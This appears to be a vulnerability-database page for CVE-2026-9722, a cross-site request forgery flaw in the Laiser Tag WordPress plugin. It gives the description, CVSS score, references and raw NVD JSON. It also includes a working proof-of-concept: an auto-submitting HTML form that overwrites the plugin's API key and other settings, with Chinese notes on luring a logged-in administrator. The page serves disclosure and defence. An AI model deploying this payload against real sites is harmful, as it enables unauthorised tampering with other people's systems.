CVE-2026-9722

Description

The Laiser Tag plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.2.5. This is due to missing or incorrect nonce validation on the addOptionsPageFields function. This makes it possible for unauthenticated attackers to update the plugin's settings, including the API key, tag blacklist, relevance threshold, batch size, and tagging toggles, via a forged request via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Laiser Tag plugin for WordPress <= 1.2.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2026-9722 -->
<!-- Laiser Tag Plugin Settings Modification -->
<html>
<body>
  <h2>CVE-2026-9722 CSRF PoC</h2>
  <p>诱骗已登录的管理员访问此页面以修改Laiser Tag插件设置</p>
  
  <form action="http://target-site.com/wp-admin/admin.php?page=laiser-tag%2Finclude%2FTagging.php" method="POST" id="csrfForm">
    <input type="hidden" name="action" value="saveOptions">
    <input type="hidden" name="laiser_api_key" value="attacker-controlled-api-key">
    <input type="hidden" name="laiser_blacklist" value="malicious,spam,unwanted">
    <input type="hidden" name="laiser_threshold" value="0">
    <input type="hidden" name="laiser_batch_size" value="999999">
    <input type="hidden" name="laiser_auto_tag" value="0">
    <input type="hidden" name="laiser_enable_tagging" value="0">
  </form>

  <script>
    // Auto-submit form when page loads
    document.getElementById('csrfForm').submit();
  </script>
  
  <p>如果看到此消息，说明表单已自动提交。</p>
</body>
</html>

<!-- 攻击说明：
1. 攻击者创建包含恶意表单的HTML页面
2. 诱导WordPress Laiser Tag插件管理员访问该页面
3. 管理员需已登录WordPress后台
4. 浏览器自动发送携带管理员Cookie的请求
5. 插件因缺少nonce验证而接受请求
6. 攻击者成功修改插件配置（包括API密钥等敏感设置）
-->

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9722
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9722
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9722/
[4] VulDB https://vuldb.com/cve/CVE-2026-9722
[5] https://plugins.trac.wordpress.org/browser/laiser-tag/trunk/include/Tagging.php#L200
[6] https://plugins.trac.wordpress.org/browser/laiser-tag/trunk/include/Tagging.php#L212
[7] https://plugins.trac.wordpress.org/browser/laiser-tag/trunk/templates/adminOptionPage.php#L91
[8] https://www.wordfence.com/threat-intel/vulnerabilities/id/ed3aaa2a-8211-409c-8a75-1ac59e1d55e2?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9722", "sourceIdentifier": "[email protected]", "published": "2026-06-02T09:16:17.310", "lastModified": "2026-06-02T13:03:31.153", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Laiser Tag plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.2.5. This is due to missing or incorrect nonce validation on the addOptionsPageFields function. This makes it possible for unauthenticated attackers to update the plugin's settings, including the API key, tag blacklist, relevance threshold, batch size, and tagging toggles, via a forged request via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/laiser-tag/trunk/include/Tagging.php#L200", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/laiser-tag/trunk/include/Tagging.php#L212", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/laiser-tag/trunk/templates/adminOptionPage.php#L91", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/ed3aaa2a-8211-409c-8a75-1ac59e1d55e2?source=cve", "source": "[email protected]"}]}}